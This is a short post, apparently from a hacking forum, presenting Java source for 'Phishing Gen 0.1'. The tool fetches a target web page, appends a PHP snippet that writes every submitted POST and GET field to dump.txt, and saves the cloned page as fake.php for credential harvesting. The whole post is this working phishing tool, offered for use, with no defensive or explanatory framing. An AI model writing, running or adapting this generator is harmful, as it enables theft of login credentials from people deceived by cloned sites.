Tratando de practicar este lenguaje hice este simple generador de fakes.
//Phishing Gen 0.1
//Coded By Doddy H
import java.util.Scanner;
import java.net.*;
import java.io.*;
public class Main {
public static void main(String[] args) throws Exception {
String code;
String iny;
String pagina;
Scanner host = new Scanner(System.in);
System.out.println("\n\n-- == Phishing Gen 0.1 == --\n\n");
System.out.println("[+] Pagina : ");
pagina = host.nextLine();
iny = "<?php $file = fopen('dump.txt','a');foreach($_POST as $uno => $dos) {fwrite($file, $uno.'='.$dos.'\r\n');}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres.'='.$cuatro.'\r\n');}fclose($file); ?>";
code = toma(pagina);
savefile("fake.php", code + iny);
System.out.println("\n[+] Fake Ready");
System.out.println("\n\n-- == Coded By Doddy H == --\n\n");
}
private static String toma(String urla) throws Exception {
String re;
StringBuffer conte = new StringBuffer(40);
URL url = new URL(urla);
URLConnection hc = url.openConnection();
hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
BufferedReader nave = new BufferedReader(
new InputStreamReader(hc.getInputStream()));
while ((re = nave.readLine()) != null) {
conte.append(re);
}
nave.close();
return conte.toString();
}
private static void savefile(String nombre, String texto) throws Exception {
FileWriter writer = new FileWriter(nombre, true);
writer.write(texto + "\r\n");
writer.close();
}
}
//The End ?